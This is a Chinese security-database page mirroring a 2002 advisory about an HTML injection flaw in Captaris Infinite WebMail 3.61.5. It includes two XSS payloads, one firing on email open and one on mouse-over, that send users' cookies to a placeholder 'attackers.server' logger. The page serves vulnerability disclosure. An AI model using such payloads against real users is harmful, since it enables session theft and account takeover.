Captaris Infinite WebMail 3.61.5 – HTML Injection

Captaris Infinite WebMail 3.61.5 – HTML Injection

漏洞ID 1053664 漏洞类型
发布时间 2002-12-16 更新时间 2002-12-16
图片[1]-Captaris Infinite WebMail 3.61.5 – HTML Injection-安全小百科CVE编号 N/A
图片[2]-Captaris Infinite WebMail 3.61.5 – HTML Injection-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22104
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6411/info

An HTML injection vulnerability has been discovered in Captaris Infinite WebMail. Due to insufficient sanitization of HTML content, it is possible for an attacker to embed malicious script code into HTML email messages.

This may allow an attacker to steal cookie-based authentication credentials from users of the webmail system. Other attacks are also possible.

Launch on e-mail open:
<p style="left:expression(document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie)">

Launch on mouse over:
<b onMouseOver= "document.location=
'http://attackers.server/cgi-bin/logger.cgi?'
+document.cookie">

相关推荐: Savant Webserver cgitest.exe Denial Of Service Vulnerability

Savant Webserver cgitest.exe Denial Of Service Vulnerability 漏洞ID 1101549 漏洞类型 Boundary Condition Error 发布时间 2002-09-13 更新时间 2002-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享